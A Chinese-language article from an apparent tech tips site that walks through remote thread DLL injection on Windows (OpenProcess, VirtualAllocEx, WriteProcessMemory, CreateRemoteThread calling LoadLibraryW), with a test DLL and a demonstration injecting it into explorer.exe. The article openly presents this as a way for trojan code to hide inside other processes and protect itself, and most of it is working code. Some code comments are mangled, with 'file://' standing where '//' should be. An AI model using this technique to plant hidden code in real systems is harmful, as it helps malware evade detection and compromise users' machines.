上一篇:优化Windows预读功能为系统提速 >>
远程线程嵌入技术
首先,我们通过openprocess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)
hremoteprocess = openprocess( process_create_thread file://允许远程创建线程
process_vm_operation file://允许远程vm操作
process_vm_write,//允许远程vm写
false, dwremoteprocessid )
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(process_create_thread、vm_operation、vm_write)。
然后,我们可以建立loadlibraryw函数这个线程来启动我们的dll木马,loadlibraryw函数是在kernel32.dll中定义的,用来加载dll文件,它只有一个参数,就是dll文件的绝对路径名pszlibfilename,(也就是木马dll的全路径文件名),但是由于木马dll是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)
file://计算dll路径名需要的内存空间
int cb = (1 + lstrlenw(pszlibfilename)) * sizeof(wchar);
file://使用virtualallocex函数在远程进程的内存地址空间分配dll文件名缓冲区
pszlibfileremote = (pwstr) virtualallocex( hremoteprocess, null, cb,
mem_commit, page_readwrite);
file://使用writeprocessmemory函数将dll的路径名复制到远程进程的内存空间
ireturncode = writeprocessmemory(hremoteprocess,
pszlibfileremote, (pvoid) pszlibfilename, cb, null);
file://计算loadlibraryw的入口地址
pthread_start_routine pfnstartaddr = (pthread_start_routine)
getprocaddress(getmodulehandle(text("kernel32")), "loadlibraryw");
ok,万事俱备,我们通过建立远程线程时的地址pfnstartaddr(实际上就是loadlibraryw的入口地址)和传递的参数pszlibfileremote(实际上是我们复制过去的木马dll的全路径文件名)在远程进程内启动我们的木马dll:
file://启动远程线程loadlibraryw,通过远程线程调用用户的dll文件
hremotethread = createremotethread( hremoteprocess, null, 0,
pfnstartaddr, pszlibfileremote, 0, null);
至此,远程嵌入顺利完成,为了试验我们的dll是不是已经正常的在远程线程运行,我编写了以下的测试dll:
bool apientry dllmain(handle hmodule, dword reason, lpvoid lpreserved)
{
char szprocessid[64] ;
switch ( reason )
{
case dll_process_attach:
{
file://获取当前进程id
_itoa ( getcurrentprocessid(), szprocessid, 10 );
messagebox ( null, szprocessid, "remotedll", mb_ok );
}
default:
return true;
}
}
当我使用rmtdll.exe程序将这个testdll.dll嵌入explorer.exe进程后(pid=1208),该测试dll弹出了1208字样的确认框,同时使用ps工具也能看到
process id: 1208
c:winntexplorer.exe (0x00400000)
……
c:testdll.dll (0x100000000)
……
这证明testdll.dll已经在explorer.exe进程内正确地运行了。
无论是使用特洛伊dll还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。
()
下一篇:秘技:突破SP2的线程限制 >>
相关文章:
- · 利用注册表管理IP地址
- · 笔记本电脑性能优化技巧
- · 让MSN调用mAxtHon
- · 恶意代码(网页病毒)[破解方法]
- · 减少QQ内存占用的一则方法
- · 多个网卡绑定一个IP地址
- · 反击内奸的无理攻击
- · 电脑特技与虚拟演员—计算机蜜罐技术
- · 列示出你安装了哪些补丁的脚本
- · CT版奇迹SF终极防黑手册
- · IDS的自防护原则与技术途径
- · QQ病毒的克星--QQAV
- · 用google检索密码
- · Win XP系统任务栏实用技巧总集
- · 开启终端的最简单方法全攻略
- · SQL安全设置攻略
- · 解决QQ视频假死现象
- · 搜索引擎技术核心揭密
- · 网络代理工具集锦
- · FlashGet使用完全集锦
- · XP系统快捷地整理硬盘碎片
- · 经验之谈:判断电脑是否感染了病毒
- · 打开注册表,看优化软件在"搞什么鬼"
- · 外挂制作教程——奇迹瞬移的实现
- · 网吧任我行
- · 常用的60招电脑操作精典秘籍
- · 木马藏身大搜查
- · phpbb 暴露路径以及目录列表的安全提示
- · 网吧安全简单谈
- · 工具软件漏洞引发的安全隐患
- · 被诅咒的画——图片病毒技术内幕
- · 浅析进程“伪隐藏”技术与实现两则
- · Web服务体系结构
- · Web Service安全机制探讨
- · AnyShow-免费玩付费qqshow的补丁
- · 全套电影播放器.插件及下载工具
- · 网站被入侵后需做的检测
- · WinXp环境下美萍网管的脆弱
